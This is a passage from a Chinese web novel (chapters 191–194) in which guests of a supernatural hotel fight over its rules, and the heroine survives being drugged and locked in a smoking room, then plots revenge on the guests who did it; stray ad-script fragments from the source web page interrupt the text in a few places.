范正昂本因此松了一口气,可渐渐他发现,俞小澄有些奇怪,好像再也看不见前台客服以外的人,对他的搭话置之不理,更不在意新出现的任何住客。 似乎她彻底活在了一个人的世界里。 191. 新的 时间一长,那股异样的感觉在范正昂心中无限扩大,俞小澄似乎只沉浸在自己一个人的世界,与外界完全割裂。 她不关心旅店中新出现的住客,也不在意夜里会面临何种梦境,她进入梦境只随意做几个金币任务,然后就像变了一个人,毫不留情地将恶灵吞噬。 每次都会自言自语一句话:“不是小白,也不是勇哥,那留着你也没用。” 俞小澄从不关心其他住客的死活,也从不进雏菊梦境,时间久了,范正昂渐渐观察出一些端倪。 因为雏菊梦境一旦死了一个住客,梦境就会被迫中止,俞小澄便没法做任务赚金币了。 至于获得的金币,俞小澄也不会兑换道具盲盒,只是每一天兑换一件衣服,每一件款式都不一样,换着法改变自身造型。 甚至还换来化妆品和护肤品,每次进入梦境前,都会精心打扮一番,就像是准备去见一位朋友。 然后被梦境毁掉妆造时,俞小澄总格外暴躁,怒斥着对方破坏了自己见朋友的心情。 自从那场寒梅梦境后,俞小澄永远独占一间房,不与任何人同住。 而范正昂每次都会选择与俞小澄一样的房型,一是为了观察俞小澄,二是为了生存的私心。 毕竟有俞小澄在的梦境,恶灵总能很快被击溃,其他住客的存活率也直线上升。 经历了漫长的大半个月梦境的洗礼,范正昂逐渐成了穷途旅店的新一代领袖,带领大家在梦境中寻找记忆之门。 但当他逐渐了解旅店的规则后,知道自己不可能救下所有人,他便活成了第二个陈奇。 他没有将俞小澄的能力告诉其他人,并将俞小澄塑造成了旅店里的怪人,告诫其他人不要接近。这样他既可让出雏菊房塑造自己宅心仁厚的形象,又可以独占俞小澄带来的安全感。 对于范正昂的私心,俞小澄始终都是睁一只眼闭一只眼,谁让所有住客在她眼中都是一样的罪人呢,他们谁生谁死,她根本不会在意。 每当俞小澄看着范正昂在旅店中努力建立以他自己为主导的新秩序,不惜向盟友隐瞒实情时,她就会觉得好笑又可悲。 曾经有不少人走到了这一步,可最终的结果都是徒劳。 于是终于有一天,俞小澄懒洋洋地躺在懒人沙发上,将漫画书摊开盖在脸上,用来遮挡强烈的阳光,然后跟坐在不远处观察着自己的范正昂搭话道:“我活着,是为了等一次重逢的机会,你又在等什么?” 范正昂为俞小澄终于开口说话而喜出望外,却又因俞小澄话中含义而困惑不已。 他故作大义地回答:“为了让后来的人不用像我当初那般迷茫无措。” “你不想离开这里吗?”俞小澄问。 “呵呵,我总担心,一旦离开这里,好不容易建立起来的稳定又会被打破。”范正昂回答。 这话说得好像很无私,为了他人而留下。 也许只有俞小澄这样知悉一切的人,才能抿出一丝不一样的意味。 “你已经知道旅店的真相了?”俞小澄开门见山地问。 “呵呵,你看出来了?果然是瞒不住同样知情的人,当初你说得那般直白,若这么久我还不能看透,恐怕早就同其他人一样沦为恶灵了。”范正昂见真相被戳破,笑得十分坦然。 “所以,你只是想在这里建立属于自己的王国?” “不,我只是想要活着。” 俞小澄仿佛在范正昂身上看到自己曾经的影子,那时的她也只是不想沦为恶灵,只想在一个全新的世界开始过完全不一样的生活。 或许,范正昂也是如此想的。 既然谁也逃脱不掉罪孽的惩罚,那他何不借此机会,活出另一番精彩? 对范正昂的想法,俞小澄不置可否,曾经的想法于她而言,已经毫无意义,他们同样都在旅店里努力求生,目的却全然不同。 俞小澄觉得,如果有一天让她遇到白羽楠和曾勇,她或许会再帮二人取得一次离开旅店的机会,如果这一次还是失败,她大概也没有继续坚持活下去的信念了。 夜深人静时,她时常会问自己:“如果哪一天我也成为恶灵,并且最终迎来被消灭的结局,那我死后是否还能再见他一面呢?” 随后她便会自嘲一般回答自己:“傻子,这世界哪有鬼魂相遇的剧情,一切不过是一场梦境。如果真有鬼魂一说,那这里恐怕已是地狱。” 这半个月,日子如此往复,终日一成不变,无比枯燥,如同俞小澄已死的心。 她始终没能遇到白羽楠和曾勇,消灭的恶灵倒是不少,她没有给那些恶灵离开的机会,直接让进宝吃掉,然后脑中充斥着各种令人厌烦的记忆。 如果不是每晚梦境中有招财进宝陪她说说话,她觉得估计自己已经发疯了。 至今没有一个恶灵能洗脱自己的罪行,连张尧也一样。 即便如此,她仍然想给白羽楠和曾勇离开的机会,有时候她觉得那或许不仅仅是为了这两个在她心中算不得罪人的朋友,还是为了给自己留下一丝自我安慰的借口。 “如果小白和勇哥算不上罪大恶极,那我会不会也没那么坏呢?” 俞小澄如此安慰自己,仿佛这样定义自己,她才不会觉得吴樊祐为她而死毫无价值,才不会深恶痛绝地埋怨自己。 日子本应继续如此过下去,直到半个月后的这一天,旅店的新秩序终于出现了不协调的声音。 新来的住客中终于又出现了不愿居于人下的人,试图动摇范正昂的领袖地位。 而俞小澄这种谁也不亲近,特立独行,不将任何人放在眼里,桀骜不驯的刺头,便成了这些人的眼中钉。 在梦境中,或许没有人能赢过俞小澄,可那是在梦境里。 一旦走出梦境,回到旅店,其实俞小澄除了知晓一切规则和旅店真相这一点优势外,与其他住客并无二致。 或者说,她不一定能敌过其他狠角色。 梦境里,她有招财进宝帮忙,可梦境外,再也没有能够护她周全的人了。 只有范正昂将她视为保命符,可其他住客并不知晓这个秘密。 这天晚饭后,俞小澄莫名感觉一阵困倦,一种难以驱散的困意袭来,让她彻底昏睡了过去。 等她再醒来时,时间已经来到了晚上9点47分,她并未身处客房中,而是躺在了吸烟室里。 俞小澄瞬间意识到,自己被人下了药,有人想用卑鄙的手段送她出局。 吸烟室的门被上了锁,平时插在锁眼里的钥匙也不知所踪,距离 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 门禁时间10点只剩短短13分钟,俞小澄似乎已经注定要在今晚出局了。 俞小澄并没有想象中那么慌张,安静地坐在小房间里,思考着一切可能的补救办法。 兜里的两个陶瓷娃娃并不能帮她开门,她的呼救声似乎也很难让楼下房间里的范正昂听见,而且就算范正昂赶来,没有钥匙,她也逃脱不出这场险境。 似乎无计可施了,俞小澄竟异常平静,仿佛苦苦挣扎这么久,终于等到了大结局。 不必成为恶灵再继续困在这里,彻底的结束似乎也还不错。 当俞小澄沉浸在无边无际的幻想中,门外传来一阵急促的脚步声。 俞小澄好奇地透过门上小窗口往外望去,只见范正昂的脸突然出现在玻璃后。 范正昂的脸上挂了彩,想来跟旅店里的新住客起了冲突。 俞小澄噗嗤一声笑出了声,嘴上忍不住调侃道:“哟,范先生不是练过几年拳么?怎么还能让新人欺负?” 范正昂面上微红,捂着伤处,反唇相讥:“俞小姐也没比我好到哪儿去,对付得了恶灵,却对付不了住客?你现在人都快没了,还有闲心调侃我……” 俞小澄便问他究竟发生了何事,范正昂无奈地交代起来。 晚饭时,两个新来的住客在餐厅里发生了争执,因为距离俞小澄的位置很近,很难不引起俞小澄的注意,也就是她注意力转移到争执中的两人身上时,另一名同伙在俞小澄的汤里下了安眠药。 当时除了谋划的人,谁都不知道暗地里有什么阴谋正在滋生。 俞小澄昏睡过去,那些人便将俞小澄锁进了吸烟室中。 范正昂直到选取房卡时才意识到不对劲,他左等右等也没等到俞小澄下楼选取房卡,于是便上楼寻找。 除去二楼那些晚上9点才会出现的客房,整间旅店里能藏人的地方不多,所以他很快便找到了被锁在吸烟室里的俞小澄。 当时俞小澄尚在昏迷中,范正昂立马想到了当天有一位住客花5枚金币换了一个道具盲盒,而盲盒里装的道具正是一瓶安眠药。 于是他冲下楼找那人兴师问罪,准备拿回钥匙营救俞小澄。 可惜,双拳难敌四手,那人早就拉帮结派,试图摆脱范正昂的约束,建立以他自己为尊的新秩序,一种以暴力铲除异己的新规则,只要谁不服从,都会被他们连根拔起。 而俞小澄,便是这杀鸡儆猴的第一步。 范正昂落败,只得回来找俞小澄,可他无法打开这扇门,回来也许只是想再看一眼,寻个心安理得。 如果俞小澄醒了,就将实情告知,让她别死了都不知道发生了什么事;如果俞小澄没醒,那其实也挺好的,不知不觉就被旅店消灭了,死得至少没有痛苦。 俞小澄白了范正昂一眼,低声骂道:“被关在这里的人又不是你,你倒是想得开。” 范正昂沉默了,他心里其实还是想救这张保命符,可惜,现在的他无能为力。 俞小澄看了看时间,距离10点只剩最后3分钟,便冲范正昂挥了挥手,语调没有起伏地说道:“感谢你让我死得明明白白,好了,你可以走了。” 在她眼中,死何尝不是一种解脱,只是还没见到白羽楠和曾勇,心中多少会有些遗憾罢了。 192. 新住客的 范正昂并没有停留太久,他明白自己留在这里也帮不上忙,只会陪俞小澄一同被旅店消除罢了。 他最终小声扔下一句“对不起”,便咬着牙,冲出了休息活动区。 空旷的三楼终于又只剩下俞小澄一人,不禁让她回想起被萧莹锁在餐厅的那一夜。 时间仿佛已经过去许久,又好像近在昨日。 那时在最后关头,吴樊祐和白羽楠出现在已经绝望的俞小澄面前,带她走出了绝境。 可如今呢? 再也没有人会来救她了。 俞小澄坐在那间狭小的房间中,看着手表上的时间一秒一秒流逝,不禁生出些好奇,自己的死法会是什么样子? 违反旅店规则的人会被旅店彻底抹除,再无离开的机会。 邹奕曾说过,他恰好目睹了微胖女人因违反旅店规则而惨死的那一幕。 据说对方是个眼冒绿光的黑影,一只手便将微胖女人掐死了,死相十分狰狞。 一想到自己最终是这样的死法,俞小澄苦笑起来,轻声嘀咕:“今天这妆又白化了。” 当十点的钟声响起,俞小澄明显感觉周围气氛变得微妙起来。 透过门上的小窗口,俞小澄发现休息活动区内出现一条条红色射线,密密麻麻地穿插交错,慢慢在房中移动着,仿佛扫描着房内的一切。 正当俞小澄专心地看着戏,那交错的射线一寸寸往吸烟室移来。 俞小澄不由得紧张起来,她不知道如果碰触到这些射线会发生什么事,可脑海中已经想象出数十种死亡方式。 那些红色射线径直穿透房门和墙壁,俞小澄知道避无可避,只能被迫接受一切结局。 可射线扫到身上,她并没有异样的感觉,没有被割裂成尸块,也没有身体灼烧,只是扫在她身上的射线瞬间由红转绿。 俞小澄正疑惑那射线究竟有何用途时,门外再次生变。 她听到些怪异的声音,再次透过小窗口往外看去,只见黑暗中扭曲出一道形状不规则的入口,仿佛一张照片上突然被人用剪刀剪出了个破洞。 出口连接着一条黑乎乎的隧道,一个黑气森森的人影从中探出脑袋,用泛着绿光的眼睛分辨着方向。 俞小澄看清,那是一个穿着黑袍的怪人,兜帽包裹着脑袋,脸隐藏在阴影中,只能看见两只绿幽幽的眼睛,如同在黑暗中点起两盏颜色怪异的灯。 黑袍怪人一步一步朝吸烟室靠近,已经放弃挣扎准备迎接死亡的俞小澄本能地往房里缩了缩,远离房门,蜷缩在角落沙发上,原本应该镇定的心不争气地乱跳起来。 俞小澄的手下意识地伸入衣兜,将两个陶瓷娃娃攥在手心,仿佛这样能给自己面对死亡的勇气。 脚步声渐近,她能感觉有人停在了吸烟室门外,仿佛那怪人身上散发的黑气都从门缝中钻了进来,让没有光照的屋子里愈发阴森了些。 耳边传来拧动门把手的响声,透着一丝急切与暴躁,俞小澄感觉下一秒,那门就会整个被卸下来似的。 屋外的怪人似乎同门把手较上了劲,喀嚓喀嚓的声音不断刺激着俞小澄本就紧绷的神经。 然而过了许久,门外的人也没能打开这扇看上去能被他轻易摧毁的木门。 俞小澄甚至怀疑那怪人纯粹是为了折磨自己,故意弄出动静,却迟迟不破坏房门,心中竟有些不耐烦起来,暗骂道:“是不是有病?能不能给个痛快!” 就在俞小澄的眉头都快拧到一起时,门把手的响动终于停止,就像是终于完成了第一阶段的恐吓目的,俞小澄静待对方破门而入。 然而,这一等,就等了十分钟,门外风平浪静,再未发出任何响动。 俞小澄心中疑惑不已,小心翼翼地挪到小窗口,反复给自己心理暗示——窗外说不定会有鬼脸突然出现。 等到有了这样的心理准备后,俞小澄将眼睛移向了小窗口。 她甚至靠近时,眼睛半虚着,为了减少视觉带来的冲击,可惜,最终落入眼帘的,只有昏暗的休息活动区里仍在四处扫描的红色射线,哪儿还有什么黑袍鬼影。 四周重新陷入寂静,那道不规则的隧道入口依然留在原地,隧道里黑漆漆的什么也看不见,仿佛世界出现了无法修复的bug,拼图上遗失了几块拼图。 那个黑袍怪人的身份其实并不难猜,大抵是旅店的安保人员。 俞小澄记得三号客服曾说过——“拒绝旅店规则的人,不再受旅店欢迎,将被划入黑名单,由安保人员负责请离。” 可令她疑惑的是为何安保人员没有进入吸烟室,将她这个违规的住客消灭呢? “难道安保人员也没有吸烟室的钥匙,进不了房间?”俞小澄自言自语道。 怎么想都感觉不太可能,俞小澄很快否定了这个想法。 “那……会不会这间吸烟室其实属于安全区域?” 俞小澄自己也不知道究竟在问谁。 刚说出口,她立即摇了摇头,否定了自己这种想法。如果真是安全区域,安保人员便没理由跟门把手较劲十分钟,而那些扫描的射线也没道理进入吸烟室。 她记得那些射线扫描到自己时,红光变成了绿光,然后就出现了隧道出口,安保人员也随之出现。 这些射线似乎就是在搜寻是否有住客出现在不该出现的地方,而亮起的绿光更像是报警。 这样一想,俞小澄感觉一切都通顺起来,然而为何安保人员并没有破门而入,清理她这个不守规矩的住客呢? 这个问题依然没有答案,所以俞小澄不敢放松警惕,时刻注视着窗外。 大约又过了半小时,俞小澄听见了电梯的响声,随后,那个怪异的安保人员又重新回到了休息活动区。 俞小澄心头一紧,紧张地观察着安保人员的一举一动,唯恐方才一切的猜测都是错的,安保人员杀个回马枪,现在才准备收拾她。 可是,安保人员根本瞧都没瞧吸烟室一样,转身进了隧道入口,随着他的身影消失在黑暗之中,如同场景中的破洞终于完成修复一般,不规则的入口也随之消失了。 吸烟室门外,无数条红色的射线依旧兢兢业业守护着旅店,只有吸烟室这个狭小的房间,犹如一片被遗忘的角落,再无人问津。 又等了二十来分钟,门外风平浪静,危机就此解除,俞小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 澄重重呼出一口气,躺在了沙发上。 今晚的经历,让她难得对旅店又产生了一丝兴趣。她已经许久不关心旅店发生的任何事了,因为她自认为已经了解了有关旅店的一切,而她所关心的一切都已经不存在了。 这一次,似乎她又被勾起了久违的兴致,或许这间旅店里,还留着一些她尚未探索的谜题,比如这间毫不起眼的吸烟室。 另外,胆敢对她出手的人,她不会就这么轻易了事。 脑子里因为今晚发生的事而产生一丝兴奋,有对疑惑的探知欲,也有对敌人的报复心,终于为她已经枯燥得丧失了人气的生活,平添了些许调味剂。 一边思考着要如何询问前台客服关于这间吸烟室的秘密,还有要如何让那些小瞧她的新住客付出代价,俞小澄渐渐在沙发上睡着了。 令她没有想到的是她依然进入梦境之中,即便她并未睡在客房里。 这场梦境似乎与平时没什么不同,依然有其他住客与她进入了相同的梦境,其中一个人,她十分熟悉,正是范正昂。 当范正昂在梦境中与俞小澄重逢时,喜悦之情溢于言表,在他的意识中,已经认定俞小澄死定了,所以当看到俞小澄再次出现时,他简直难以相信这是真的。 “你怎么……旅店的规则不是绝对的吗?为何你……” 范正昂有些语无伦次,俞小澄将其打断,没有解释缘由,只是反问:“这是什么梦境?” “雏菊。”范正昂一口答道。 “你不是喜欢做顺水人情,从不进雏菊梦境么?”俞小澄忍不住调侃。 范正昂不好意思地挠了挠头,道:“今天没等到你选房卡啊,我哪儿敢选其他房型。” 俞小澄哭笑不得,不过她没想到在吸烟室睡着会被传送进雏菊梦境,就仿佛冥冥之中旅店在帮自己一般。可究其原因,俞小澄想不通,似乎这个问题只能交给前台客服来回答。 随后,俞小澄向范正昂打听了对自己下手的几人的信息。 俞小澄得知,为首的那人叫做蔡德,人称德哥,2日前来到穷途旅店,收了两个小弟,因为通过了两场箭竹梦境,就有些得意忘形了,不甘于受范正昂指挥。 也正是这三人,晚饭时演了一场戏,吸引俞小澄的注意,并在俞小澄汤里下了安眠药,想置她于死地。 俞小澄将自己打算报仇的事告诉了范正昂,但并没有说具体的报复手段,只是让范正昂离开梦境后,拐弯抹角地让这三人知道,俞小澄并没有死,而是在吸烟室安然睡了一觉,并进入了雏菊梦境。 后面的时间,俞小澄带着范正昂一心扑在了金币任务上,对于她有什么打算,范正昂并不清楚,但绝对服从指挥,也没有多问一句。 最终吞噬恶灵后,俞小澄带着恼人的记忆从梦境中醒来,这样的感觉她早已麻木了。 醒来的第一件事,俞小澄摸了摸衣兜里的陶瓷娃娃,确保招财进宝还在后,她才掏出金币数了数,心中盘算着报仇的计划。 当天亮后,蔡德带着小弟上楼用餐时,进入餐厅第一眼,便看见俞小澄安然无恙坐在里面悠哉地吃着早饭,三人脸色就跟见鬼了一样。 193. 阴谋 俞小澄像个没事人一样,安心地吃着早饭,如往常一般,对旁人视而不见,依然保持着那副目中无人的高傲模样。 做贼心虚的三人没敢声张,灰溜溜地聚在距离俞小澄很远的餐桌旁,不时斜眼瞥向俞小澄,仿佛在确认着她是人是鬼。 晚些时候,范正昂来到了餐厅,看见蔡德三人的模样就莫名觉得好笑。 早上天还未亮,范正昂就又敲响了蔡德的房门,以长时间不归还旅店钥匙会被判违反旅店规则为由,要挟蔡德交出吸烟室钥匙。 这次蔡德并没有为难范正昂,在他眼中,在客房外过了一夜的俞小澄必死无疑,他一脸坏笑将钥匙送到了范正昂手里。 然而他却不知道,范正昂拿着钥匙放出了被关起来的俞小澄。 此刻,范正昂故意装模作样地走到三人面前,按照俞小澄的吩咐,讥笑道:“没想到自己的如意算盘会落空吧?哼,刚来三天的小丑,连旅店的规则都还没搞清楚,就妄图在旅店称王,属实可笑。” “说什么呢?你小子是不是还想挨揍啊?”蔡德脾气十分火爆,一点就燃,俨然一副莽夫模样。 他身旁的两个小弟看上去比他机灵不少,此时并没有煽风点火,一个向范正昂赔礼道歉,一个劝大哥别太冲动。 俞小澄看在眼里,只觉那两个小弟可能才是出谋划策的人,那么她就不可能仅仅教训蔡德一人,这两个小弟一个都跑不掉。 “呵呵,莫非昨晚你就找到备用钥匙了?”其中一个小弟笑得十分狡诈,转着眼珠子,想方设法套范正昂的话。 范正昂正想着该如何显得不那么刻意地透露信息,那小弟便递上了梯子,范正昂便顺理成章演起了戏。 “你们可真能说笑,旅店里除了下午2点前台客服会出现外,一个鬼影子都没有,我上哪儿去找备用钥匙。” 那小弟又问:“这么说,人是你今早放出来的?” “是又怎么样?”范正昂故作一副气恼的模样。 蔡德三人围在一起,窃窃私语,面面相觑,实在想不通本该被旅店消除的人,为何会活蹦乱跳地活到了第二日。 那小弟似乎意识到哪里不对劲,转而又问范正昂:“你一大早又来讨钥匙,是知道那女人没死?” 俞小澄交代的最关键信息还未说出口,范正昂唯恐他们不继续问下去,一听那小弟如是问,便故意阴阳怪气地说:“昨晚我在雏菊梦境遇见她,能不知道她是死是活吗?” 话到此为止,范正昂功成身退,剩下的只需要他们自行推敲。 俞小澄全程没有参与,只让范正昂把她交代的事做完,接着便各忙各的,范正昂依然处理着引导新住客的日常事务,而俞小澄只沉浸在自己的世界中,根本不在意其他人。 这一天,一直到下午新住客在范正昂的带领下完成免费咨询,而其他住客用金币兑换了道具盲盒后,俞小澄趁着众人返回三楼休息的机会,一个人偷偷溜到了一楼大厅前台处。 文质彬彬的老者站在柜台后,眼睛一笑便挤出几条深深的鱼尾纹,他没有对俞小澄说那些刻板的台词,而是亲切地问道:“俞小姐今日又想兑换什么新衣裳?” 俞小澄在这间旅店已经住了二十余日,在每个客服眼中都成了常客,他们三人对她也没有最开始那般呆板机械,仿佛多了些人情味。 “今日就不兑换衣裳了。”俞小澄笑着摇了摇头,然后从兜里掏出一把金币。 她每晚进入梦境最大的乐趣便是完成NPC的金币任务,自她不再咨询和兑换道具盲盒后,兑换了衣物和化妆品后,金币往往有盈余,如今攒了一大把,让人倍感成就。 俞小澄将一枚金币扔进咨询木箱中,引来二号客服诧异的眼神,但二号客服没有多说什么,只是微笑着等待她的提问。 “晚上10点后还留在吸烟室里,不算违反旅店规则吗?” 与刚来时的小心谨慎不同,俞小澄提出问题时始终维持着气定神闲的状态,如今她有足够的金币慢慢问出自己想要的答案,再也不用像曾经那般开口前再三斟酌。 二号客服语气肯定地回答:“当然属于违反旅店规则。” 又一枚金币被她扔进木箱里,然后她接着问道:“如果吸烟室上锁了,安保人员便无法进入吗?” 二号客服道:“只要有住客违反旅店规则,不管住客躲在哪里,安保人员都能自由进入,并对住客实施惩罚。” “什么情况下,安保人员无法进入某个地方?”俞小澄再次投入一枚金币。 二号客服想了想,答道:“一般来说,除了客房,安保人员享有进入任何地方的权限,除非有高于安保人员的权限限制了他的出入。” 二号客服的回答,几乎就是明白地告诉俞小澄,只有外力的干扰,安保人员才可能被阻拦在吸烟室外。 那这个权限高于安保人员的人会是谁呢? 又为什么要帮助俞小澄呢? 还有许多谜题并未解开,俞小澄换了个方向继续问:“吸烟室也能联通梦境吗?” 二号客服一脸诧异,说:“整间旅店中,只有客房联通各场梦境,您说的这种情况并不成立,除非,旅店管理者将吸烟室的属性修改为客房。” 这一句话说出口后,俞小澄感觉脑子里乱成一团的线头逐渐被理顺,一根根从混乱中被抽出,展现出混乱遮掩下的真实面目。 如果说,旅店管理者昨晚将吸烟室的属性临时修改成了客房,似乎就能解释为何安保人员始终不能破房,并最终放弃行动,离开了旅店,也能解释为何睡在吸烟室里的俞小澄进入了雏菊梦境。 昨夜一切谜题的答案似乎已经摆在俞小澄眼前,可她依然不明白的是旅店管理者为什么要帮助自己呢? 认真思索一番后,俞小澄再一次投入一枚金币,问:“昨晚是谁修改了吸烟室的属性?告诉我名字!” 二号客服此刻闭上了眼睛,仿佛是在脑中查询着什么东西,又像是机器人突然宕机了一般,过了许久,才睁开眼睛。 然而他告诉俞小澄的答案,又带上了冰冷的机械味道:“我没有权限查询旅店管理者的姓名。” 果然,一触及到旅店的核心问题,客服总会以没有权限为由,拒绝给出答案。 俞小澄早就猜到会是这种结局,因此并没有太过失望。 至少她现在弄清了一点,旅店管理者 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 应该不止一个。 因为此前想要肃清旅店、强制带走吴樊祐的人是管理者,而这次救她脱困的人也是管理者,同一个人不可能这么快改变思维模式,所以只能判断为不同的人。 至于管理者中为何会有人想救她,她难以推测,只能说可能旅店管理者的想法存在分歧。 实在难以想通的事,她只能暂且搁置,眼下还有更重要的事——替旅店除掉那些无可救药的败类。 他们本就是有罪之人,来到穷途旅店就是为了赎罪,在看过众多恶灵的记忆后,俞小澄觉得,这种罪也分等级。 往往罪孽越深重的人,其执念越深,创造出的梦境也就越危险,相反,罪孽相对较轻的人,其执念稍浅,创造出的梦境不会带有强烈的攻击性。 正因如此,梦境才有了梅兰竹菊四种等级。 光是看蔡德在旅店的行事作风,俞小澄几乎已经可以判断出,若让此人死在梦境中,必定又会创造出寒梅梦境。 于是她心中有了一个想法,为避免那三个惹是生非的混账东西今后再出现在梦境中给自己添堵,她要将还未破壳而出的恶彻底扼杀在蛋壳中。 离开前台后的俞小澄一如既往我行我素,重复着自己单调的生活模式,一直等到晚上9点,她破天荒地随其他住客一起下楼,来到了摆放着房卡的柜台前。 若是往常,她定是无视他人,自顾自地随意拿起一张房卡,然后就迅速返回房间。 今日则不同,看着整整齐齐两排幽兰房卡,俞小澄嘴角扬起一个微不可察的弧度。 她没有立刻上前,而是安静地站在距离人群较远的地方,保持着自己的高冷人设,静静等待他人的选择。 从未经历过此等阵仗的住客们瞬间炸了锅,包括自命不凡的蔡德三人。 有人抱怨,有人叫苦,有人则彻底迷惘无措,只能眼巴巴地望着其他人,希望别人都给指出一条明路。 蔡德当即站了出来,故意向范正昂发难:“哟,范正昂,你不是自诩万事通么,这种情况怎么办?身为组织领袖,你是不是应该担起责任,带大家安稳度过今夜啊?” 在蔡德的怂恿下,那些懦弱胆小的人,立刻将范正昂视作了救命稻草。 范正昂有些骑虎难下,他平日只是帮助新来的住客快速了解旅店和梦境的规则,从未标榜过自己能安然带任何人通关任何梦境。 蔡德此刻不过是想偷换概念,借机杀一杀范正昂的威风,让他凭借口碑积累起来的威望就此一落千丈,方便他以后鸠占鹊巢。 范正昂望向了俞小澄,似乎在犹豫着该不该交出他隐藏的这个杀手锏来稳定人心。 俞小澄没给他开口机会,冷笑着说:“你别看我,我今晚睡吸烟室,你总不会想跟我一起睡吧?” 范正昂一听傻了眼,仔细一想,回忆起昨晚俞小澄便是通过吸烟室进了雏菊梦境。 说实话,他的确想跟,但直接扔下其他人,似乎有些不厚道,他更希望俞小澄跟大家一起进入幽兰梦境。 不过,还等不到他做出回应,蔡德和他两个小弟便高声叫嚣起来:“哼,今晚吸烟室,我们三兄弟包了!闲杂人等一律禁止靠近!” 194. 一场 俞小澄就等着这句话,但表面上还要据理力争一下:“凭啥?” 蔡德捏紧拳头,一脸嚣张地冲着俞小澄比划几下,威胁道:“就凭我拳头比你大!” 此刻其他住客已是议论纷纷,他们不理解为何两边都想抢吸烟室,明明晚上10点后离开客房会被视为违反旅店规则,那为何又有人明知故犯呢? 范正昂趁机劝俞小澄:“没必要跟他们一般见识,俞小姐还是跟我们一起住客房保险些。” 俞小澄故意装出一副割舍不下的样子,欲言又止道:“岂不便宜他们了……摆着雏菊梦境不要,选什么幽兰梦境,你是不是傻……” 此刻有人意识到俞小澄话中含义,小声嘀咕着:“是不是吸烟室可以通往雏菊梦境啊?” 这种声音在人群中散播开来,于是引起了一场争夺吸烟室使用权的风波。 既然有可以避免危险的路摆在众人面前,任谁也不可能弃之不选,偏给自己找罪受。 场面开始混乱起来,女生们叫嚣着不公平,男生们试图以强取胜,都想争一争这唯一脱困的机会。 如果此时范正昂带着大伙发起反击,蔡德三人根本不是对手,可范正昂根本没有这种心思,他的选择永远只取决于俞小澄,至于是什么梦境,他并不太在意。 再者,吸烟室那么小一间房,又不可能挤下他们所有人,就算从蔡德三人手中抢得使用权,又会产生新的分配问题。 范正昂实在不想应付这种麻烦,便理智地劝道:“大家都别激动,旅店的规则绝对不能违反,吸烟室是否真的安全,尚无定论,谨慎起见,最好等明日咨询客服。” 他这么一说,立马质疑声不断。 “她本人不是说可以进入雏菊梦境吗?” “对啊,我昨晚确实在雏菊梦境看见她了啊!” “范大哥,不会有什么隐藏规则你不知道吧……” 面对众人的质疑,范正昂顿觉烦躁,索性撒谎道:“谁说俞小姐昨晚住在吸烟室了?她、她昨天跟我睡一屋,你们自然能在雏菊房中遇见她。” 此话一出,不明情况的住客自然闭了嘴。 不过,蔡德的两个小弟并不买账,眼神中透着狡黠的光,阴阳怪气地提问。 “嚯?在你屋里睡的?那怎么今天一大早,你就找我们德哥讨吸烟室的钥匙啊?” “对啊,你不是说没有备用钥匙吗?” 所有人的目光再次向范正昂聚拢,看得他心头一慌,连谎言都有些编不下去。 俞小澄此刻没有选择拆穿范正昂,而是一副理直气壮的模样,抢过话头,冲着范正昂骂道:“啧,你把实话说出来,我还如何教训这三个把我关在吸烟室的混蛋!” 范正昂愣了愣神,不知俞小澄是何用意,分不清她是在配合自己演戏,还是在暗戳戳地怪自己撒谎坏了报复计划。 “呃……”范正昂正思考着该如何辩解。 俞小澄立即挥手打断,一副老实交代的模样,说:“我也没什么不好承认的,昨晚范先生确实替我找到了备用钥匙,并让我在他房中留宿了一晚,而早上去讨钥匙一事也是受我指使,为的就是让你们三个蠢蛋误以为吸烟室安全。” 经她这一番看似和盘托出的解释后,原本想要争抢吸烟室的人顿时冷静下来,为自己险些一头栽进别人挖好的坑里而心惊肉跳。 蔡德一听火气立马上窜,一副想将俞小澄大卸八块的模样。 范正昂挡在两人之间,防备着蔡德突然发难。 不过,在蔡德出手前,他的两个小弟先一步站了出来,并非为难俞小澄,而是一反常态地好言相劝。 “德哥别急,莫要为了个贱人坏了旅店规矩,不值当。” “就是,要对付个女人,以后有的是机会,就算她能安然度过今晚的梦境,明日我们也有的是办法让她从旅店消失。” “对啊,现在还是回房要紧。” 这两人一唱一和,在劝说蔡德忍耐的同时,也让其他住客更加相信,今夜的闹剧不过是他们三人与俞小澄之间的私人恩怨而已。 俞小澄摆出一副因诡计败露而不甘的表情,眼中透露出万般恨意。 既无实质损失,蔡德自然能将两小弟劝说的话听进去,只是不喜吃亏的性子,让他在心中给俞小澄记上一笔,迟早要让与他作对的人得到教训。 见蔡德不再冲动,两小弟又开始驱赶看客。 “行了,还有啥好看的?顾好你们自个儿吧!不想死的人,赶紧拿上房卡回房!” “不怕死的人可以继续留在这里。” 二人一边冷嘲热讽,一边替蔡德上前拿了张房卡,接着便一左一右劝着蔡德上楼去了。 俞小澄平日选房卡并不积极,毕竟在她眼中,除了雏菊梦境可能会过早结束外,其余梦境没太大差别。 反正每次流程都差不离,做金币任务,寻找恶灵,一口吞噬恶灵,没有多余的步骤。 至于与谁进了同一梦境,她根本不关心。 因此,最终选择哪张房卡,基本看当日心情,于是常常是在其余住客挑选完房卡后,她才姗姗来迟,随便在剩下的房卡中拿上一张。 今日她却有些反常,见蔡德三人选了房卡后,她立即上前拿了三人对门的那张。 见方才还争抢着吸烟室的两伙人都已选了房卡,便知大局已定,住客们避无可避,即便不情愿,也只能灰头土脸地拿上房卡,各自去往客房。 范正昂见俞小澄也拿了张房卡,心中大石落地,偷偷舒了一口气,拿上房卡便赶紧跟了上去。 他一路跟着俞小澄,一直跟到了房间里,心中实在有太多疑惑,不问清楚,他怕自己睡不着。 俞小澄并未驱赶,而是自然地关上门,但她并没有往屋里走,而是靠在了门边,一脸平静地看着范正昂,似乎等待着他的提问。 四周没了旁人,范正昂终于放心开了口:“我还以为你方才的说法是为了骗蔡德三人,怎么最后还是决定住客房,而不是吸烟室呢?” 俞小澄一本正经道:“吸烟室里睡着不舒服。” 范正昂一脸震惊,无话可说。 沉默片刻,他又为自己方才的行为做了解释:“我说那些话,是想避免一场不必要的争夺战,其他人或许会相信我的话,但蔡德三人未必会信。” “我知道。”俞小澄微微勾起嘴角,笑容透着丝凉意。 